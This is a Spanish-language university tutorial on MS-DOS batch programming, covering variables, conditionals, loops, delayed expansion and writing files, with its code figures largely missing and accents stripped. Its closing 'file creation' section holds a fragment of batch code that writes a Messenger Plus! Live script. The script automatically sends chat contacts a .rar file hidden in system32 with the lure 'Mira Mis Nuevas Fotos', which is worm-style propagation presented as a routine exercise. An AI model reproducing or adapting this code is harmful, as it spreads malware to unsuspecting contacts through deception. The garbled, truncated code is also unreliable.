Docente
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO En esta entrega se te explicara como programar bajo el MS-DOS. As que si tienes un poco de conocimiento en programacin se te har muy fcil el entender los conceptos. Comencemos con aclarar que este tipo de programacin no corresponde a un lenguaje de programacin en concreto. Este tipo de programacin maneja los comandos vistos en la entrega Comandos de MSDOS, adems veremos otras estructuras clsicas en la programacin tradicional.
Para codificar un programa bajo el MS-DOS debemos de crear un archivo con extensin .bat, a este archivo se le conoce como archivo por lote o archivo de procesamiento por lote, este archivo guarda un conjunto de comandos del DOS. Cuando un archivo por lote es ejecutado, los comandos que estn en l, son realizados uno por uno en forma secuencial, esto permite automatizar diversas tareas.
Los archivos por lotes lo podemos codificar en un editor de texto como el Edit o el block de notas, pero recuerda que el archivo debe de tener la extensin .bat, sin esa extensin el archivo nunca correr. En nuestro caso vamos a codificar desde el Edit, para irnos familiarizndonos en el entorno del MS-DOS.
Ahora entrando en materia, vamos a explicar los cdigos necesarios para poder iniciar nuestra programacin batch
PRIMITIVAS ESCRIBA Y LEA Echo: es la primitiva para escribir en pantalla ya sea un mensaje o el valor de una variable. Veamos un ejemplo para este comando.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Para ejecutar el comando vuelva al prompt y escriba el nombre del archivo por lote, en nuestro ejemplo se guardo como saludo.bat en la figura 2
Muestra como se debe de ejecutar un archivo por lote. Figura 2 Como vera el programa va mostrando su respectivo cdigo y la ejecucin de este, sin embargo esto le quita un poco de esttica al programa. Lo cual vamos a modificar para que solo se muestre los resultados de la ejecucin de cada lnea y no nos muestre el cdigo como tal, para realizar esto solo debe colocar al principio del cdigo lo siguiente: @echo off.
Cdigo de nuestro primer programa modificado para que no se muestre el cdigo en tiempo de ejecucin. Figura 3
Haga una comparacin con la figura 2 y la figura 4, note el cambio que tuvo este ultimo con respecto al primero.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Para leer un dato desde el teclado debemos de crear una variable1 para guardar los valores digitados. Para crear una variable se debe de utilizar el comando set. El comando set tiene varios parmetros, estos parmetros los iremos conociendo a medida que nos adentremos en el tema. En nuestro primer caso el parmetro utilizado es el /P este nos indicar se est esperando un valor por parte del usuario para ser guardado en la variable. Como vera el ejemplo pide el nombre del usuario, para luego mostrar un mensaje con su nombre. Ntese que al visualizar el valor de la variable esta debe de ir entre el signo %.
Cdigo para crear una variable, pedir su valor y mostrar su respectivo valor digitado. Figura 5
Tenga en cuenta que esta variable no se destruye ni pierde su valor cuando termina de ejecutarse el archivo por lote, ya que queda residente en la consola de comandos, es aconsejable inicializar sus valores.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Dejando un poco atrs este ejemplo, vamos a crear un nuevo programa que pida dos nmeros y haga las principales operaciones matemticas. (+, -, /, *). Como puede observar en la figura 7, en la lnea 2 utilizamos el comando CLS para limpiar pantalla, en la siguiente lnea encontrara el comando echo seguido con un punto (echo.). este equivale a mostrar un salto de lnea.
Cdigo fuente para realizar las operaciones matemticas. Figura 7 Para que el programa pueda realizar una operacin matemtica el comando set debe de estar acompaado del parmetro /a.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO DETENCIN DE LA EJECUCIN DEL PROGRAMA
Muchas veces, necesitamos que nuestro programa se detenga en algn punto para que el usuario pueda leer detenidamente una informacin. Para el siguiente ejemplo mostraremos como hacer que un programa se detenga hasta que se presione una tecla. El programa pretende mostrar la funcionalidad de los comandos pause, pause>nul y exit.
Cdigo del programa que muestra cmo funcionan pause, pause>nul y exit. Figura 9
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO EL COMANDO GOTO Y LAS ETIQUETAS Una etiqueta es un identificador de lnea, el cual se complementa con la instruccin goto. En otras palabras, el comando goto se traduce a vaya a la etiqueta que usted desea. El goto y la etiqueta cambia la orientacin del cdigo que se est ejecutando. Para aclarar estos comandos veremos el siguiente ejemplo.
Cdigo para el uso del goto y las etiquetas Figura 10 Se aclara que una etiqueta solo puede ser creada una sola vez y no puede estar en ms de una lnea, sin embargo puede haber tantos goto con el llamado a la etiqueta que usted quiera.
CONDICIONAL IF Este cdigo nos sirve para evaluar una expresin y determinar su estado de verdad, con l se decide cual camino se tomara dependiendo de lo evaluado en una expresin. Al condicional se le conoce tambin como bifurcacin. (Se toma uno de dos caminos posibles.) La estructura del if tiene la siguiente forma. IF %variable% <operador aritmtico> %variable% (comando) else (comando)
Si en tal caso no necesitamos el else podemos dejar la instruccin de la siguiente forma IF %variable% <operador aritmtico> %variable% (comando)
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Los operados aritmticos utilizados en batch son los siguientes:
SIGNIFICADO igual menor que mayor que menor o igual mayor o igual
Para aclarar el tema, vamos a realizar un algoritmo donde se pide la edad de una persona y determinamos si una persona es mayor o no de edad.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Si nuestro objetivo es determinar s un archivo existe o no. Debemos usar EXIST seguido del nombre del archivo y su extensin, tenga en cuenta si el archivo se encuentra en otra ruta, de ser as, usted debera de colocar el path completo.2
Veamos el siguiente ejemplo, vamos hacer un programa que determine si el nombre de un archivo digitado por un usuario existe o no en la ruta donde se encuentra el archivo por lote. (Hasta ahora todos los archivos por lotes han sido guardados en raz C:\, en este caso vamos a crear una carpeta llamada lotes donde guardaremos nuestro nuevo archivo por lote.)
Cuando el archivo se encuentre en la misma ruta donde est guardado el archivo por lote no es necesario colocar la ruta, solo coloque el nombre del archivo con su extensin tal cual como se llama.
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO
Obsrvese la diferencia entre la figura 13 y 14 en la lnea 3 donde se digita el nombre del archivo. El archivo detener.bat se encuentra creado en la raz ms no en el directorio llamado lotes.
10
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CREACIN DE MENS
Para crear un men solo debemos de manejar varias sentencias IF para evaluar la opcin que ha seleccionado el usuario. Como ejemplo crearemos un men donde se le pedir al usuario el rango de su edad.
11
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO
Para Windows 95 y 98 exista un comando que nos facilitaba la vida en la creacin de mens, este comando era el CHOICE, sin embargo para la versin de XP no existe dicho comando.
12
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CICLOS SENTENCIA FOR Esta sentencia nos permite ejecutar N veces una serie de lneas de cdigo. La sintaxis ms simple de la sentencia FOR es la siguiente: For /L %%var IN (Inicio, incremento,fin) Do (acciones)
Tenga en cuenta que la variable se especifica %%var en vez de %var%. Los nombres de las variables distinguen entre maysculas y minsculas, por lo tanto %i no es lo mismo que %I.
Ejemplo: haga un algoritmo que genere los n primeros nmeros que desee el usuario.
13
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO EXPANSIN DE VARIABLES RETARDADA.
Para entender que es una variable retardada veamos el siguiente ejemplo. Hacemos un algoritmo donde se le pide al usuario que se evalen n personas y mostrar al final cuantos fueron mayores de edad.
Cdigo de sin expansin de variable retardada. Figura 20 Si usted ejecuta el cdigo y digita los datos de las personas a evaluar, notar que la suma siempre dar 0, aunque usted haya digitado edades de personas de mayor edad. Qu est pasando? La solucin es utilizar una shell con "sustitucin de variables retardada", donde las variables que deseemos que se sustituyan en el mismo instante de su utilizacin las encerraremos con admiraciones.
14
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO
Cdigo con Extensin de variable retardada. Figura 21 Observe que la variable edad y la variable cont tienen un signo de admiracin (!). El signo de admiracin indica la utilizacin de la extensin de variable retardada, adems de este signo de admiracin se le debe de decir al programa que se active del modo de extensin de variable retardada. Esto se hace con la instruccin setlocal
enabledelayedexpasion. Si ejecuta el cdigo nuevamente notar que ahora el resultado mostrado si es el correcto.
Otras utilidades del ciclo For se muestran en los siguientes cdigos: Listar nombres de archivos.
15
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Listar nombres de archivos de manera recursiva sea que busque en todas las subcarpetas donde usted se encuentre en el rea de trabajo.
Listado de nombres de directorio que comienzan con a. Figura 24 Listar nombres de directorios de manera recursiva.
Listado de nombres de directorio que comienzan con a que se encuentran en otros subdirectorios. Figura 25
16
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO Delimitar texto o resultados de consultas.
Este maneja el parmetro /F. En l, se tiene que tener en cuenta el tokens que se quiere, por decirlo as este es el rango que se va a tomar. Adems de tener en cuenta el tokens se debe de indicarle al for el limitante para dicho tokens. Observe bien la estructura del siguiente ejemplo. En este ejemplo el limitante es el carcter espacio.
17
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO CREACIN DE NUEVOS ARCHIVOS En muchas ocasiones es necesario que desde un archivo por lotes generemos otro archivo con informacin, para esto se hace uso de la combinacin de los comandos echo y de redireccionamiento ( > y >>)
Ejecute el archivo e inmediatamente abra el archivo llamado archivo.txt y encontrara la informacin suministrada por el archivo por lote.
18
PROGRAMACIN BAJO MS-DOS (BATCH) UNIVERSIDAD SIMN BOLVAR ING. MAURICIO ALEJANDRO ROS PALACIO
Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>>
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js" echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
19